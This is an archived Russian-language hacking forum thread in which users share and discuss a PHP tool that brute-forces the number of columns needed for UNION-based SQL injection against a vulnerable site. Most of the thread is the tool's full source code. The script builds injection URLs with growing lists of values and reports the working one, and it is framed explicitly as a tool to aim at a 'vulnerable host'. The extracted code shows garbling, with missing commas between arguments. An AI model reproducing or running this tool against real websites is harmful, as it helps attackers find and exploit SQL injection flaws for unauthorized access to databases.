Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Брутер числа колонок MySQL (https://forum.antichat.xyz/showthread.php?t=26748)

_Great_ 07.11.2006 17:06

Брутер числа колонок MySQL
 
Subj =)

http://cribble.by.ru/w/sqlbruteru.php.txt

Вроде вполне удобный. Что скажете?
Как вариант, можно сделать для линка одно текстовое поле, чтобы скрипт сам разбивал его на составляющие

vectorg 07.11.2006 17:08

гуд)
все пашет, автору спасибо)

з.ы. учтите на будущее: ошибки выделены тегами +))

..::TROYAN::.. 21.09.2008 14:07

Цитата:

Сообщение от _Great_
Subj =)

http://cribble.by.ru/w/sqlbruteru.php.txt

Вроде вполне удобный. Что скажете?
Как вариант, можно сделать для линка одно текстовое поле, чтобы скрипт сам разбивал его на составляющие

можеш перезалить?)))

astrologer 21.09.2008 14:56

Цитата:

Сообщение от ..::TROYAN::..
можеш перезалить?)))

PHP код:

<?
function send_post_request($host$file$content$cookies$cookies_type=1)
{
    
$post =
    
"POST $file HTTP/1.0\r\n".
    
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n".
    
"Referer: http://$host/\r\n".
    
"Accept-Language: ru\r\n".
    
"Content-Type: application/x-www-form-urlencoded\r\n".
    
"Proxy-Connection: Keep-Alive\r\n".
    
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n".
    
"Host: $host\r\n".
    
"Content-Length: ".strlen($content)."\r\n".
    
"Cookie: ";
    
    foreach(
$cookies as $v)
    {
      if(
$cookies_type == 1)
        
$post .= "$k=>$v;";
      else
        
$post .= "$v;";
    }
    
    
$post .=
    
"\r\nPragma: no-cache\r\n\r\n".
    
$content;
    
//    echo "<pre>$post</pre><p>";

    
$s=fsockopen($host,80);
    
fputs($s$post);
    
$answer "";
    while(!
feof($s)) $answer .= fgets($s);
    
fclose($s);
    
    return 
$answer;
}

function 
send_get_request($host$file$cookies$cookies_type=1)
{
    
$post =
    
"GET $file HTTP/1.0\r\n".
    
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, */*\r\n".
    
"Referer: http://$host/\r\n".
    
"Accept-Language: ru\r\n".
    
"Proxy-Connection: Keep-Alive\r\n".
    
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n".
    
"Host: $host\r\n".
    
"Cookie: ";
    
    foreach(
$cookies as $v)
    {
      if(
$cookies_type == 1)
        
$post .= "$k=>$v;";
      else
        
$post .= "$v;";
    }
    
    
$post .=
    
"\r\nPragma: no-cache\r\n\r\n";
    
//    echo "<pre>$post</pre><p>";
    
    
$s=fsockopen($host,80);
    
fputs($s$post);
    
$answer "";
    while(!
feof($s)) $answer .= fgets($s);
    
fclose($s);
    
    return 
$answer;
}

function 
construct_post_request($host$file$content_array$cookies$cookies_type=1)
{
  
$content "";
  foreach(
$content_array as $k=>$v)
    
$content .= "$k=".urlencode($v)."&";
  return 
send_post_request($host$file$content$cookies$cookies_type);
}

$def "The used SELECT statements have a different number of columns";
$_POST['left'] = stripslashes($_POST['left']);

echo (
"<html>
<head>
<title>Брутфорсер числа колонок MySQL таблиц</title>
"
.
/*"<style type='text/css'>
    td {border: 1px solid;}
</style>".*/
"</head>
<body bgcolor='lightgray' alink='blue' link='blue' vlink='blue'>
<h3 align='center'>Брутфорсер числа колонок MySQL таблиц</h3>
<form method='post'>

<table "
./*"style='border: 1px solid' ".*/ "border=1 cellpadding=5>
<tr><td>
Запрос:
<td>
<b>http://
<input type='text' name='host' size=20 value=\""
.htmlspecialchars($_POST['host'])."\">
<input type='text' name='left' size=80 value=\""
.htmlspecialchars($_POST['left'])."\">
0,0,0,...,0
<input type='text' name='right' size=20 value=\""
.htmlspecialchars($_POST['right'])."\">
</b>

<tr><td>Строка:
<td><input type='text' name='match' size=100 value=\"
{$_POST['match']}\">
<a href='javascript:void(0);' onClick='document.forms[0].match.value=\"
$def\";'>
<br>Установить стандартную</a>&nbsp;&nbsp;[<b>"
.htmlspecialchars($def)."</b>]

<tr><td>
Опции:
<td>
<input type='checkbox' name='fillints'"
.( ($_POST['fillints'] == "on")?" checked":"" )."><a href='javascript:void(0);' onClick='document.forms[0].fillints.checked=!document.forms[0].fillints.checked;' style='text-decoration: none; color: black'>Заполнить целыми числами, а не нулями</a> (по умолчанию заполняется нулями)<br>
<input type='checkbox' name='stoponfind'"
.( ($_POST['stoponfind'] == "on")?" checked":"" )."><a href='javascript:void(0);' onClick='document.forms[0].stoponfind.checked=!document.forms[0].stoponfind.checked;' style='text-decoration: none; color: black'>Остановиться, когда найдена искомая строка (вместо того, чтобы остановиться, когда она не найдена)</a><br>

<tr><td>
<input type='submit' name='go' value='Брутфорс'>
<td align='center'>&nbsp;Coded by <b>Great</b> (ICQ# <b>893-894</b>) &copy; 2006
</table>
</form>
<p>"
);

if(!isset(
$_POST['go']))
  die(
"</body></html>");

if(empty(
$left) || empty($host) || empty($match))
  die(
"<font color='red'><b>Нужно заполнить все поля!</b></font></body></html>");

$left $_POST['left'];
$right $_POST['right'];
$host $_POST['host'];
$match $_POST['match'];
$ints $_POST['fillints']=="on";
$invert $_POST['stoponfind']=="on";

echo 
"<h4>Начинаем...</h4>
      Левая часть:     <b>"
.htmlspecialchars($left)."</b><br>
      Правая часть:    <b>"
.htmlspecialchars($right)."</b><br>
      Уязвимый хост:   <b>"
.htmlspecialchars($host)."</b><br>
      Полный запрос:   <b>http://"
.htmlspecialchars("{$host}{$left} <0,0,...,0> {$right}")."</b><br>
      Искомая строка:  <b>"
.htmlspecialchars($match)."</b><br>
      <b>"
.( ($ints==true)?
        
"<font color='brown'>Заполняем целыми (1,2,3,...)</font>"
       
:"<font color='gray'>Заполняем нулями (0,0,0,...)</font>" )
      .
"</b><br>
      <br>\n"
;
set_time_limit(0);

if(@
gethostbyname($host)==$host)
  die(
"<font color='red'><b>Хост \"".htmlspecialchars($host)."\" не найден</b></font></body></html>");

for(
$i=1;$i<100;$i++)
{
//  echo "Trying $i...<br>\n";
  
echo "$i... ";
  
flush();

  if(!
$ints)
    
$nulls "0";
  else
    
$nulls 1;

  for(
$k=1;$k<$i;$k++)
  {
    if(!
$ints)
      
$nulls .= ",0";
    else
      
$nulls .= ",".($k+1);
  }
  
$r send_get_request($host$left.$nulls.$right, array(), 1);

  if(!
$invert)
    
$okay strstr($r$match)===false;
  else
    
$okay strstr($r$match)!==false;

  if(
$okay)
  {
    
$ok htmlspecialchars("http://$host".$left.$nulls.$right);
    
$d htmlspecialchars("http://$host".$left)."<b>".$nulls."</b>".htmlspecialchars($right);
    echo 
"<p><font color='green'><b>Успешно:</b> (".( ($invert)?"Строка найдена":"Строка не найдена" ).")</font><br><a href=\"$ok\" style='text-decoration: none' target='_blank'>$d</a>";
    echo 
"<br>".($i)." колонок";
    break;
  }
//  echo $r;
//  break;
}
?>
</body></html>


..::TROYAN::.. 21.09.2008 15:00

astrologer,
пасиб=)

-=Static=- 21.09.2008 15:03

гммм....а зачем он? Есть же SQL Tools 4 он в разы быстрее робит.

luz3r 29.09.2008 17:23

Цитата:

Сообщение от -=Static=-
гммм....а зачем он? Есть же SQL Tools 4 он в разы быстрее робит.

ты дату видел? тогда ещё SQL Tools 4 небыло =\


Время: 19:43